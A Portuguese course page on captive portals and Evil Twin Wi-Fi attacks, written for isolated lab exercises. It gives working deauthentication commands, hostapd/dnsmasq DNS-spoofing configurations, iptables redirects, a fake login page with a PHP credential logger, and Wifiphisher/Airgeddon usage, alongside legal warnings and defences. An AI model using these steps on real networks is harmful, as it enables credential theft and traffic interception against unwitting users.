Captive Portal e Evil Twin

A Porta de Entrada

Em redes públicas, antes de navegar livremente, você precisa passar pelo portão de controle. O atacante constrói um portão falso idêntico ao original.


🔐 O que é Captive Portal?

Definição

Captive Portal é um mecanismo que intercepta a primeira requisição HTTP/HTTPS do usuário em uma rede sem fio e redireciona para uma página web controlada pelo administrador da rede.

Funções Comuns

  • Autenticar o usuário (login/senha)
  • Registrar dados (nome, e-mail, CPF)
  • Exigir aceite de termos de uso
  • Mostrar publicidade antes de liberar navegação

⚙️ Como Funciona Tecnicamente?

Fluxo de Funcionamento

1. Usuário conecta-se ao Access Point (AP)
         ↓
2. Gateway identifica que não há autenticação ativa
         ↓
3. Primeira tentativa de acesso é REDIRECIONADA
         ↓
4. Página do Captive Portal é exibida
         ↓
5. Usuário fornece credenciais/aceita termos
         ↓
6. Sistema valida → libera tráfego normal

Diagrama Mermaid: Fluxo Completo do Captive Portal

sequenceDiagram
    participant U as Usuário
    participant AP as Access Point
    participant GW as Gateway/Firewall
    participant CP as Captive Portal (Servidor Web)
    participant INT as Internet

    U->>AP: Associação Wi-Fi (SSID + senha ou aberto)
    AP->>U: IP via DHCP (ex: 192.168.1.x)
    U->>GW: GET http://example.com (porta 80)
    GW-->>U: Redirect 302 → http://portal.local/login
    U->>CP: Solicita página de login
    CP-->>U: Formulário HTML (usuário/senha ou aceitar termos)
    U->>CP: POST com credenciais
    CP->>GW: Libera MAC do cliente no firewall
    GW-->>U: Tráfego para Internet liberado
    U->>INT: Navegação normal

Mecanismos de Redirecionamento

O captive portal usa três abordagens principais para capturar o cliente:

TécnicaComo FuncionaLimitação
DNS spoofingdnsmasq responde todos os domínios com IP do portal (address=/#/IP)Não funciona com DNS sobre HTTPS (DoH)
HTTP redirect (iptables)Regra de NAT redireciona porta 80 para o portal antes da liberaçãoHTTPS (443) quebra com erro de certificado
ICMP redirectGateway injeta respostas ICMP para redirecionar rotaBloqueado por firewalls modernos
Walled gardenSó o IP do portal é acessível antes da autenticaçãoBypass via IP direto de destino permitido

🏢 Aplicações Práticas

Onde é Utilizado

LocalObjetivo
Hotéis/AeroportosGarantir que apenas hóspedes/passageiros usem a rede
Empresas/UniversidadesControlar acesso e coletar métricas de uso
Cafés/ComérciosExibir publicidade ou coletar e-mails para marketing
EventosControlar acesso temporário de participantes

✅ Vantagens

Benefícios

  • Controle de acesso sem fio
  • Facilidade de autenticação (via web, sem configuração manual)
  • Integração com sistemas de cadastro e marketing
  • Registro de uso para compliance
  • Possibilidade de limite de tempo/banda

⚠️ Limitações

Pontos Fracos

LimitaçãoDescrição
Bypass possívelPode ser contornado com VPN ou MAC spoofing
UX problemáticaRedirecionamentos podem falhar em HTTPS
ManutençãoNecessidade de constante atualização
SegurançaDados podem ser interceptados se não usar HTTPS

😈 Evil Twin: O Lado Ofensivo

O que é um Evil Twin?

Um Evil Twin (gêmeo malvado) é um ponto de acesso (AP) rogue que clona o SSID, e frequentemente o BSSID (endereço MAC), de uma rede Wi-Fi legítima. O objetivo é fazer com que os dispositivos da vítima se conectem ao AP falso em vez do real, permitindo ao atacante realizar um ataque Man-in-the-Middle (MitM) completo.

O nome vem da ideia de que existe uma cópia maliciosa de uma rede confiável, visualmente indistinguível da original para o usuário.

Diferença entre Rogue AP e Evil Twin

ConceitoRogue APEvil Twin
DefiniçãoQualquer AP não autorizado conectado à redeAP que imita especificamente um AP legítimo
SSIDQualquer nomeIdêntico ao alvo
BSSIDQualquer MACClona o MAC do AP legítimo
ObjetivoVaria (acesso à LAN, escuta)Captura de credenciais, MitM
DetecçãoMais fácil (SSID diferente)Muito difícil (idêntico ao original)

🔧 Técnicas e Vetores de Ataque

Vetor 1: Ataque de Desautenticação (Deauth)

O protocolo 802.11 original permite que frames de gerenciamento (management frames) sejam enviados sem autenticação. Um atacante usa essa falha para enviar pacotes Deauthentication ou Disassociation forjados, expulsando os clientes da rede legítima.

Quando o dispositivo perde a conexão, automaticamente tenta reconectar ao AP com o sinal mais forte. Se o Evil Twin estiver mais próximo da vítima (ou usando potência maior), o dispositivo se conecta ao AP falso.

# Colocar interface em modo monitor
ip link set wlan0 down
iw dev wlan0 set type monitor
ip link set wlan0 up
 
# Identificar alvos (BSSID do AP legítimo + canal)
airodump-ng wlan0
 
# Ataque de deauth massivo contra o AP alvo (--deauth 0 = contínuo)
# APENAS em lab isolado com equipamentos próprios
aireplay-ng --deauth 0 -a <BSSID_AP_LEGÍTIMO> wlan0

🚨 Art. 154-A do Código Penal Brasileiro

“Invadir dispositivo informático de uso alheio, conectado ou não à rede de computadores, com o fim de obter, adulterar ou destruir dados ou informações sem autorização expressa ou tácita do titular do dispositivo ou instalar vulnerabilidades para obter vantagem ilícita.” Pena: detenção de 3 meses a 1 ano e multa.

Deauth attack contra redes reais de terceiros, configurar Evil Twin para capturar credenciais de usuários sem autorização, e redirecionar tráfego de vítimas reais são crimes federais. O ambiente de laboratório isolado, com equipamentos e contas próprias, é o ÚNICO contexto legal para praticar essas técnicas.


🗺️ Diagrama: Anatomia do Ataque Evil Twin com Captive Portal

graph TD
    A["Atacante configura Evil Twin<br/>(mesmo SSID e BSSID do AP legítimo)"] --> B["Ataque Deauth<br/>(aireplay-ng / mdk4)"]
    B --> C["Clientes expulsos da rede legítima"]
    C --> D["Dispositivos buscam reconexão automática"]
    D --> E{"Qual AP está mais forte?"}
    E -->|"Evil Twin (sinal forçado)"| F["Cliente conecta ao AP falso"]
    E -->|"AP Legítimo"| G["Cliente reconecta ao legítimo<br/>(falha parcial do ataque)"]
    F --> H["DHCP do Evil Twin atribui IP"]
    H --> I["DNS do Evil Twin redireciona<br/>tudo para Captive Portal falso"]
    I --> J["Vítima vê página de login<br/>'Reautentique-se para continuar'"]
    J --> K["Vítima digita senha Wi-Fi ou credenciais"]
    K --> L["Atacante captura credenciais em log"]
    L --> M["Portal libera Internet via NAT<br/>(para não levantar suspeita)"]

    style A fill:#cc0000,color:#fff
    style L fill:#cc0000,color:#fff
    style G fill:#006600,color:#fff

🛠️ Ferramentas Reais de Lab

Stack Manual: hostapd + dnsmasq + nginx

Esta é a abordagem mais educativa, porque você entende cada camada individualmente antes de usar frameworks automatizados.

Passo 1: Configurar o hostapd (Access Point)

# Instalar dependências
sudo apt update && sudo apt install -y hostapd dnsmasq nginx
 
# /etc/hostapd/hostapd.conf
cat > /tmp/hostapd.conf << 'EOF'
interface=wlan0          # interface Wi-Fi (modo monitor, depois AP)
driver=nl80211
ssid=Rede_IFF_Lab        # nome da rede (SSID do alvo em lab real)
hw_mode=g
channel=6
wmm_enabled=0
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
# Para WPA2 (opcional, evil twin pode ser aberto)
# wpa=2
# wpa_passphrase=senha_qualquer
# wpa_key_mgmt=WPA-PSK
EOF
 
# Subir o AP
sudo hostapd /tmp/hostapd.conf &

Passo 2: Configurar IP na interface AP e DHCP com dnsmasq

# Atribuir IP à interface que serve como AP
sudo ip addr add 10.0.0.1/24 dev wlan0
 
# /etc/dnsmasq.conf (ou arquivo temporário)
cat > /tmp/dnsmasq.conf << 'EOF'
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1        # gateway
dhcp-option=6,10.0.0.1        # DNS server
# Redirecionar TODOS os domínios para nosso portal (DNS spoofing)
address=/#/10.0.0.1
log-queries                    # logar todas as queries DNS
log-facility=/tmp/dns-queries.log
EOF
 
sudo dnsmasq -C /tmp/dnsmasq.conf --no-daemon &

Passo 3: Ativar NAT para dar Internet à vítima (evita suspeita)

# Habilitar IP forwarding
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
 
# Interface com acesso à Internet (ex: eth0)
INET_IFACE="eth0"
AP_IFACE="wlan0"
 
# NAT via iptables
sudo iptables -t nat -A POSTROUTING -o $INET_IFACE -j MASQUERADE
sudo iptables -A FORWARD -i $AP_IFACE -o $INET_IFACE -j ACCEPT
sudo iptables -A FORWARD -i $INET_IFACE -o $AP_IFACE -m state --state RELATED,ESTABLISHED -j ACCEPT
 
# Redirecionar porta 80 para nosso portal ANTES de liberar a vítima
sudo iptables -t nat -A PREROUTING -i $AP_IFACE -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:8080

Passo 4: Portal de captura (nginx + PHP simples)

# Criar página de login falsa (em lab: sua própria conta de teste)
cat > /var/www/html/index.html << 'EOF'
<!DOCTYPE html>
<html lang="pt-BR">
<head><meta charset="UTF-8"><title>Rede IFF - Autenticação</title></head>
<body>
  <h2>Rede Institucional IFF</h2>
  <p>Por favor, insira suas credenciais para continuar.</p>
  <form action="/captura.php" method="POST">
    <input type="text" name="usuario" placeholder="Usuário" required><br>
    <input type="password" name="senha" placeholder="Senha" required><br>
    <button type="submit">Entrar</button>
  </form>
</body>
</html>
EOF
 
# Script PHP para logar credenciais (em lab)
cat > /var/www/html/captura.php << 'EOF'
<?php
$usuario = $_POST['usuario'] ?? '';
$senha   = $_POST['senha'] ?? '';
$ip      = $_SERVER['REMOTE_ADDR'];
$log     = date('Y-m-d H:i:s') . " | IP: $ip | Usuário: $usuario | Senha: $senha\n";
file_put_contents('/tmp/credenciais-capturadas.txt', $log, FILE_APPEND);
// Redirecionar para página legítima após captura
header('Location: http://www.google.com');
?>
EOF
 
sudo nginx -c /etc/nginx/nginx.conf &

Passo 5: Monitorar capturas em tempo real

# Monitorar credenciais capturadas
tail -f /tmp/credenciais-capturadas.txt
 
# Monitorar queries DNS (quem está tentando acessar o quê)
tail -f /tmp/dns-queries.log

Ferramenta Automatizada 1: Wifiphisher

O Wifiphisher é um framework de rogue AP que automatiza todo o processo de clonagem, deauth e phishing em uma única ferramenta. Disponível por padrão no Kali Linux, é a ferramenta mais utilizada em avaliações de segurança Wi-Fi.

Instalação

# No Kali Linux (já disponível)
sudo apt install wifiphisher
 
# Ou via Git
git clone https://github.com/wifiphisher/wifiphisher.git
cd wifiphisher && sudo python3 setup.py install

Modo de Operação

O Wifiphisher opera em três fases automáticas:

  1. Jamming: envia frames Deauth/Disassoc contínuos para expulsar clientes do AP legítimo
  2. Rogue AP: cria um AP clone com SSID idêntico, sem senha (ou com senha fraca)
  3. Phishing: sobe servidor web com template de captive portal e captura credenciais

Cenários (Phishing Scenarios) Disponíveis

CenárioArquivoO que simula
firmware-upgradefirmware-upgrade.pyhtmlAtualização de firmware do roteador (pede senha Wi-Fi)
oauth-loginoauth-login.pyhtmlTela de login OAuth (Facebook, Google)
wifi_connectwifi_connect.pyhtmlReconexão à rede Wi-Fi (pede senha)
browser-plugin-updatebrowser-plugin-update.pyhtmlAtualização de plugin do browser (entrega payload)
plugin_updateplugin_update.pyhtmlFlash/Java desatualizado
network-manager-connectnetwork-manager-connect.pyhtmlImita o NetworkManager do Linux

Comandos Práticos (lab isolado)

# Modo interativo: lista APs e deixa escolher o alvo
sudo wifiphisher
 
# Ataque direto a SSID específico com cenário de firmware
sudo wifiphisher -aI wlan0 -jI wlan1 \
  --essid "MinhaRedeLabTeste" \
  --phishing-pages firmware-upgrade \
  -kB
 
# Parâmetros importantes:
# -aI wlan0   : interface para o AP rogue
# -jI wlan1   : interface para o jamming (deauth) - precisa de 2 adaptadores
# --essid     : SSID a clonar (ou usa a seleção interativa)
# -kB         : Known Beacons - tenta descobrir redes salvas no dispositivo
# -pK         : KARMA attack - responde a qualquer probe request
 
# Ver credenciais capturadas (output direto no terminal e em log)
# Wifiphisher exibe em tempo real na interface TUI

Dois adaptadores Wi-Fi

Para usar o Wifiphisher com deauth simultânea, você precisa de dois adaptadores Wi-Fi que suportem modo monitor/inject. Em lab com 1 adaptador, o jammer é desativado, mas o ataque ainda funciona via KARMA ou se o cliente se conectar manualmente.


Ferramenta Automatizada 2: Airgeddon

O Airgeddon é um script bash multi-ferramenta que combina airodump-ng, aireplay-ng, hostapd e dnsmasq em uma interface de menu interativa. Especialmente útil para demonstrações e pentest wi-fi hands-on em lab.

Instalação

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
sudo bash airgeddon.sh

Fluxo do Ataque Evil Twin via Airgeddon

Menu Principal
  → 7. Evil Twin attacks menu
    → 9. Evil twin attack with captive portal (monitor needed)

Airgeddon então:
1. Escaneia redes Wi-Fi próximas (airodump-ng)
2. Usuário seleciona o SSID alvo
3. Airgeddon gera automaticamente:
   - hostapd.conf (cópia do AP alvo)
   - dnsmasq.conf (DHCP + DNS spoofing)
   - lighttpd.conf (servidor web do portal)
   - Scripts iptables de NAT
4. Inicia deauth contra o AP legítimo (aireplay-ng)
5. Aguarda cliente conectar ao Evil Twin
6. Exibe credenciais capturadas em tempo real
# O airgeddon gerencia tudo via menus, mas internamente executa:
 
# Geração automática do hostapd para o Evil Twin
# (arquivo gerado pelo airgeddon em /tmp/hostapd.conf)
cat /tmp/hostapd.conf
# interface=wlan0
# driver=nl80211
# ssid=NOME_DO_ALVO
# channel=<canal_do_alvo>
 
# Deauth contínuo (airgeddon executa em background)
aireplay-ng --deauth 0 -a <BSSID_ALVO> wlan1
 
# Captura de credenciais
cat /tmp/evil_twin_captive_portal_logfile.txt

Vantagem do Airgeddon vs Wifiphisher

AspectoWifiphisherAirgeddon
LinguagemPythonBash (dependencies externas)
InterfaceTUI PythonMenu shell interativo
TemplatesMuitos incluídosMenos, mas personalizável
Controle granularMenorMaior (acesso a cada etapa)
Didático em aulaExcelente para ver o todoExcelente para entender as partes
mdk4 supportNãoSim (deauth mais agressivo)

🧪 Atividades de Laboratório

🧪 Atividade 1: Subir um Captive Portal Real com hostapd + dnsmasq

Objetivo: Compreender a pilha técnica completa de um captive portal, montando cada componente manualmente antes de usar ferramentas automatizadas.

Pré-requisitos:

  • Kali Linux (VM ou bare metal)
  • 1 adaptador Wi-Fi com suporte a modo AP (ex: Alfa AWUS036ACS, rtl8812au)
  • Roteador ou switch próprio (lab isolado, sem conexão a redes de terceiros)
  • Dispositivo de teste próprio (celular ou notebook pessoal)

Passos:

# 1. Verificar se o adaptador suporta modo AP
iw list | grep "Supported interface modes" -A 10
 
# 2. Instalar dependências
sudo apt update && sudo apt install -y hostapd dnsmasq nginx php-fpm iptables
 
# 3. Parar serviços conflitantes
sudo systemctl stop NetworkManager
sudo airmon-ng check kill
 
# 4. Configurar o hostapd
sudo bash -c 'cat > /etc/hostapd/lab.conf << EOF
interface=wlan0
driver=nl80211
ssid=LabIFF-CaptiveTest
hw_mode=g
channel=6
wmm_enabled=0
auth_algs=1
EOF'
 
# 5. Configurar interface e DHCP
sudo ip link set wlan0 up
sudo ip addr add 192.168.99.1/24 dev wlan0
sudo bash -c 'cat > /tmp/dnsmasq-lab.conf << EOF
interface=wlan0
dhcp-range=192.168.99.10,192.168.99.50,1h
dhcp-option=3,192.168.99.1
dhcp-option=6,192.168.99.1
address=/#/192.168.99.1
log-queries
log-facility=/tmp/lab-dns.log
EOF'
 
# 6. Subir os serviços
sudo hostapd /etc/hostapd/lab.conf &
sudo dnsmasq -C /tmp/dnsmasq-lab.conf &
 
# 7. Redirecionar porta 80 para nginx local (porta 8080)
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 \
  -j DNAT --to-destination 192.168.99.1:8080

Com o dispositivo de teste (seu celular):

  • Conectar à rede LabIFF-CaptiveTest (sem senha)
  • Tentar abrir qualquer URL no browser
  • Observar o redirect para http://192.168.99.1
  • Ver a página de login aparecer

Resultado esperado: O browser do celular é automaticamente redirecionado para sua página, sem precisar digitar IP. Todo domínio que o cliente tentar (google.com, youtube.com) responde com seu IP graças ao address=/#/IP no dnsmasq.

Logs para análise:

# Ver todas as queries DNS capturadas
tail -f /tmp/lab-dns.log
 
# Verificar clientes conectados via DHCP
cat /var/lib/misc/dnsmasq.leases

🧪 Atividade 2: Observar o Fluxo do Wifiphisher/Airgeddon em Lab Isolado

Objetivo: Entender como um framework automatizado executa as etapas do ataque Evil Twin (clone + deauth + phishing) e interpretar os logs gerados, sem nunca sair da rede de laboratório.

Pré-requisitos:

  • Kali Linux com 2 adaptadores Wi-Fi (1 para AP rogue, 1 para deauth)
  • Roteador Wi-Fi próprio para simular o “AP legítimo alvo”
  • Dispositivo próprio para simular a vítima
  • Rede isolada (sem clientes reais)

Parte A: Wifiphisher

# Instalar
sudo apt install -y wifiphisher
 
# Subir em modo interativo
sudo wifiphisher
 
# Na TUI do Wifiphisher:
# 1. Selecionar a interface para o AP rogue (wlan0)
# 2. Selecionar a interface para o jammer (wlan1)
# 3. Selecionar o SSID do seu roteador de lab na lista
# 4. Escolher o cenário: "firmware-upgrade"
# 5. Observar:
#    - Coluna "Deauthentication Packets Sent" aumentando
#    - Seu dispositivo de teste sendo desconectado do roteador real
#    - Dispositivo reconectando ao Evil Twin
#    - Browser abrindo a tela de "Atualização de Firmware"
# 6. No dispositivo de teste: digitar uma senha qualquer (sua conta de teste)
# 7. Observar o log na parte inferior do terminal do Wifiphisher

Parte B: Airgeddon (alternativo)

# Clonar e executar
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
sudo bash airgeddon.sh
 
# No menu:
# Opção 2 → Selecionar interface
# Opção 7 → Evil Twin attacks menu
# Opção 9 → Evil Twin with captive portal
# Seguir os prompts: escanear, selecionar SSID do lab, aguardar conexão

O que observar e documentar:

  • Quais processos são iniciados pelo Airgeddon (ps aux | grep -E ‘hostapd|dnsmasq|lighttpd|aireplay’)
  • O conteúdo dos arquivos de config gerados em /tmp/
  • O momento exato em que o dispositivo muda de AP (monitorar com watch iwconfig)
  • O arquivo de log com credenciais capturadas

Resultado esperado: Você observará a transição completa: dispositivo de teste cai do AP real, reconecta ao rogue AP, browser exibe portal falso, credencial digitada aparece no terminal em tempo real.


🧪 Atividade 3: Testar Defesas contra o Captive Portal Falso

Objetivo: Verificar na prática quais defesas funcionam para detectar ou mitigar um Evil Twin/captive portal malicioso.

Pré-requisitos:

  • Lab da Atividade 1 ou 2 ativo (Evil Twin com captive portal falso)
  • Dispositivo de teste conectado ao Evil Twin
  • VPN instalada no dispositivo de teste (ex: Mullvad, ProtonVPN em modo free, ou WireGuard com server próprio)

Teste 1: VPN como defesa primária

# Com o dispositivo de teste conectado ao Evil Twin:
# Ativar VPN no dispositivo
 
# Observar no terminal do lab:
# 1. DNS queries param de aparecer no log (VPN encriptou o DNS)
# 2. iptables não consegue fazer DNAT no tráfego VPN (porta 51820 UDP passa)
# 3. Captive portal NÃO aparece mais para o dispositivo com VPN ativa
sudo tcpdump -i wlan0 -n port 51820  # ver tráfego WireGuard passando
 
# Conclusão: VPN ativa ANTES de interagir com o portal
# é a defesa mais eficaz contra Evil Twin

Teste 2: HSTS/HTTPS como indicador de alerta

# Tentar acessar um site HTTPS a partir do dispositivo de teste (sem VPN)
# Ex: https://www.google.com
 
# Resultado esperado:
# - Erro de certificado no browser (NET::ERR_CERT_AUTHORITY_INVALID)
# - O browser BLOQUEIA o acesso (HSTS preloaded)
# - Isso é um SINAL DE ALERTA de que algo está errado com a rede
 
# Sites com HSTS preloaded (verificar em https://hstspreload.org/):
curl -I https://www.google.com 2>/dev/null | grep -i hsts

Teste 3: Comparar certificado TLS do portal

# Inspecionar o certificado TLS que o portal falso apresenta
echo | openssl s_client -connect 192.168.99.1:443 2>/dev/null | \
  openssl x509 -noout -issuer -subject -dates
 
# Em um portal legítimo: certificado emitido por CA confiável, domínio correto
# Em um portal falso: certificado autoassinado, domínio diferente, erro no browser

Checklist de alerta para os alunos (o que verificar antes de digitar qualquer credencial):

IndicadorSeguroSuspeito
Certificado TLSCA confiável, cadeado verdeAutoassinado, erro de certificado
URL do portalDomínio do estabelecimentoIP direto ou domínio desconhecido
Rede pede senha Wi-FiNunca legítimoClaro sinal de Evil Twin
VPN conecta normalmenteTráfego fluiVPN bloqueada pelo portal
DNS resolve corretamenteIPs diferentes por domínioTudo responde o mesmo IP

🛡️ Defesas e Contramedidas

Como se Proteger

Para Usuários Finais

  1. VPN sempre ativa em redes públicas: conectar a VPN ANTES de interagir com qualquer portal. A VPN encripta o tráfego DNS e HTTP, tornando o captive portal falso ineficaz.

  2. Nunca digitar a senha da rede Wi-Fi em um captive portal: redes legítimas não pedem a senha do Wi-Fi em portais web; apenas usuário/voucher/CPF. Se o portal pedir sua senha Wi-Fi, é Evil Twin.

  3. Verificar o certificado TLS: antes de digitar qualquer dado, conferir se o cadeado está verde e o domínio corresponde ao local. Portal sem HTTPS ou com certificado inválido é sinal de ataque.

  4. Desconfiar de portais que pedem dados sensíveis: portais legítimos pedem no máximo e-mail e aceite de termos. Nunca senha de redes sociais, e-mail corporativo ou senhas pessoais.

  5. Usar HTTPS-Only Mode no browser: Chrome, Firefox e Safari têm modo HTTPS obrigatório, que bloqueia automaticamente conexões sem TLS válido.

Para Administradores de Rede

DefesaDescriçãoEficácia contra Evil Twin
802.1X/WPA-EnterpriseAutenticação por certificado via RADIUS; cliente verifica certificado do servidorAlta: Evil Twin sem o certificado RADIUS legítimo falha na autenticação
WPA3-EnterpriseEvolução do WPA2-Enterprise com validação obrigatória de certificadoMuito Alta: certificate pinning obrigatório
WIDS (Wireless IDS)Monitora o espectro RF para detectar APs com SSID clonadoAlta: detecta Evil Twin por BSSID diferente
Management Frame Protection (802.11w)Autenticação dos frames de gerenciamento (deauth, disassoc)Alta: bloqueia ataques de deauth
VPN mandatóriaPolítica corporativa que exige VPN em qualquer rede externaAlta: protege mesmo se vítima conectar ao Evil Twin
Certificate PinningApps corporativos rejeitam qualquer certificado que não seja o esperadoAlta: apps não comunicam via MitM

802.1X: Por que é a Defesa Mais Robusta

No WPA2-Personal (pré-shared key), qualquer um que saiba a senha pode criar um Evil Twin com a mesma senha e o cliente se conecta. Com WPA2/WPA3-Enterprise + EAP-TLS:

  1. Cliente apresenta seu certificado ao servidor RADIUS
  2. Cliente valida o certificado do servidor RADIUS
  3. Se o Evil Twin não tiver o certificado RADIUS legítimo (chave privada), a conexão falha na etapa 2
  4. O cliente recusa a conexão automaticamente, sem intervenção humana
WPA2-Personal:      AP fake sabe a senha → ataque funciona
WPA2-Enterprise:    AP fake não tem o cert. RADIUS legítimo → ataque falha
WPA3-Enterprise:    idem + validação obrigatória (não opcional como no WPA2)

🏢 Aplicações Legítimas do Captive Portal (Reforço)

Implementações Legítimas

FerramentaDescriçãoUso Recomendado
pfSenseFirewall open-source com captive portal integradoPMEs, laboratórios
OPNsenseFork do pfSense com interface modernaAmbientes corporativos
NoDogSplashSolução leve para roteadores OpenWrtHotspots simples
WiFiDogPortal para hotspots públicosEventos, cafés
Chillispot/CoovaChilliSolução completa com RADIUSISPs, hotéis
PacketFenceNAC (Network Access Control) com captive portalGrandes empresas

🔎 Relacionado


📚 Fontes (2025-2026)